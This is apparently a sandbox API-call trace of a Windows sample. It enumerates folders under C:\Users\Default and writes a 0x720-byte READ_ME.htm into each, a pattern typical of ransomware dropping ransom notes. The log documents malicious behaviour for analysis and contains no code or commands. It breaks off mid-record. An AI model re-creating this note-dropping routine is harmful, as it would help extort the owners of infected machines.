[0143.870] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0143.870] SetErrorMode (uMode=0x1) returned 0x0 [0143.870] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.870] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.871] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.871] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52301120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.871] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52301120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.871] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.871] SetErrorMode (uMode=0x0) returned 0x1 [0143.871] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0143.871] SetErrorMode (uMode=0x1) returned 0x0 [0143.871] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*" (normalized: "c:\\users\\default\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.872] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.872] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.872] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52301120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.872] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52301120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52301120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52301120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.872] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.872] SetErrorMode (uMode=0x0) returned 0x1 [0143.872] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\READ_ME.htm", lpFilePart=0x0) returned 0x22 [0143.873] SetErrorMode (uMode=0x1) returned 0x0 [0143.873] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\READ_ME.htm" (normalized: "c:\\users\\default\\music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.873] GetFileType (hFile=0x1d0) returned 0x1 [0143.873] SetErrorMode (uMode=0x0) returned 0x1 [0143.873] GetFileType (hFile=0x1d0) returned 0x1 [0143.873] WriteFile (in: hFile=0x1d0, lpBuffer=0x2889de0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2889de0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.874] CloseHandle (hObject=0x1d0) returned 1 [0143.874] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0143.875] SetErrorMode (uMode=0x1) returned 0x0 [0143.875] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*" (normalized: "c:\\users\\default\\my documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.887] SetErrorMode (uMode=0x0) returned 0x1 [0143.888] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x29 [0143.888] SetErrorMode (uMode=0x1) returned 0x0 [0143.888] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents\\READ_ME.htm" (normalized: "c:\\users\\default\\my documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.889] GetFileType (hFile=0x1d0) returned 0x1 [0143.889] SetErrorMode (uMode=0x0) returned 0x1 [0143.889] GetFileType (hFile=0x1d0) returned 0x1 [0143.889] WriteFile (in: hFile=0x1d0, lpBuffer=0x288f738*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x288f738*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.891] CloseHandle (hObject=0x1d0) returned 1 [0143.891] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0143.891] SetErrorMode (uMode=0x1) returned 0x0 [0143.891] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*" (normalized: "c:\\users\\default\\nethood\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.893] SetErrorMode (uMode=0x0) returned 0x1 [0143.893] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0143.893] SetErrorMode (uMode=0x1) returned 0x0 [0143.894] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood\\READ_ME.htm" (normalized: "c:\\users\\default\\nethood\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.894] GetFileType (hFile=0x1d0) returned 0x1 [0143.894] SetErrorMode (uMode=0x0) returned 0x1 [0143.894] GetFileType (hFile=0x1d0) returned 0x1 [0143.894] WriteFile (in: hFile=0x1d0, lpBuffer=0x2895050*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2895050*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.896] CloseHandle (hObject=0x1d0) returned 1 [0143.896] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0143.896] SetErrorMode (uMode=0x1) returned 0x0 [0143.896] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.897] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.909] SetErrorMode (uMode=0x0) returned 0x1 [0143.909] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0143.909] SetErrorMode (uMode=0x1) returned 0x0 [0143.909] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*" (normalized: "c:\\users\\default\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.910] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.910] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.910] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0143.910] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52327280, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x52327280, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x52327280, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0143.910] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.911] SetErrorMode (uMode=0x0) returned 0x1 [0143.911] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0143.911] SetErrorMode (uMode=0x1) returned 0x0 [0143.911] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\READ_ME.htm" (normalized: "c:\\users\\default\\pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.912] GetFileType (hFile=0x1d0) returned 0x1 [0143.912] SetErrorMode (uMode=0x0) returned 0x1 [0143.912] GetFileType (hFile=0x1d0) returned 0x1 [0143.912] WriteFile (in: hFile=0x1d0, lpBuffer=0x289b070*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x289b070*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.913] CloseHandle (hObject=0x1d0) returned 1 [0143.913] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0143.913] SetErrorMode (uMode=0x1) returned 0x0 [0143.913] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*" (normalized: "c:\\users\\default\\printhood\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.927] SetErrorMode (uMode=0x0) returned 0x1 [0143.929] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0143.929] SetErrorMode (uMode=0x1) returned 0x0 [0143.930] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood\\READ_ME.htm" (normalized: "c:\\users\\default\\printhood\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.930] GetFileType (hFile=0x1d0) returned 0x1 [0143.930] SetErrorMode (uMode=0x0) returned 0x1 [0143.931] GetFileType (hFile=0x1d0) returned 0x1 [0143.931] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a09a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28a09a8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.932] CloseHandle (hObject=0x1d0) returned 1 [0143.932] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0143.933] SetErrorMode (uMode=0x1) returned 0x0 [0143.933] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.934] SetErrorMode (uMode=0x0) returned 0x1 [0143.935] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\READ_ME.htm", lpFilePart=0x0) returned 0x23 [0143.935] SetErrorMode (uMode=0x1) returned 0x0 [0143.935] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\READ_ME.htm" (normalized: "c:\\users\\default\\recent\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.937] GetFileType (hFile=0x1d0) returned 0x1 [0143.937] SetErrorMode (uMode=0x0) returned 0x1 [0143.937] GetFileType (hFile=0x1d0) returned 0x1 [0143.937] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a62a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28a62a0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.939] CloseHandle (hObject=0x1d0) returned 1 [0143.939] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0143.939] SetErrorMode (uMode=0x1) returned 0x0 [0143.939] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.940] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.940] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.940] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.941] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.941] SetErrorMode (uMode=0x0) returned 0x1 [0143.941] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0143.941] SetErrorMode (uMode=0x1) returned 0x0 [0143.941] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*" (normalized: "c:\\users\\default\\saved games\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, 